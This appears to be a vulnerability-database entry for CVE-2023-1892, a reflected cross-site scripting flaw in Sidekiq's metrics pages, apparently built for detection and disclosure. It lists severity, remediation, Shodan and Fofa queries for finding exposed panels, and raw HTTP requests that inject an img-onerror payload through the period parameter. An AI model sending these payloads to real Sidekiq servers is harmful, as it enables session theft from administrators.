| Title | Sidekiq < 7.0.8 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha,princechaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can inject malicious JavaScript through the period parameter in Sidekiq metrics endpoints, potentially stealing administrator session cookies and accessing sensitive job queue information and worker statistics. |
| Remediation | Update Sidekiq to version 7.0.8 or later that properly sanitizes the period parameter and encodes output in the metrics dashboard. |
| CVSS Score | 9.6 |
| EPSS Score | 0.79594 |
| CVE ID | CVE-2023-1892 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"sidekiq" |
| Fofa Query | title="Sidekiq"title="sidekiq" |
| Tags | cve cve2023 sidekiq contribsys xss vuln |
An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.
GET /queues HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /metrics?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /metrics/SanityChecksJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /metrics/ActiveStorage::PurgeJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1892.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1892.pcap
N/AN/A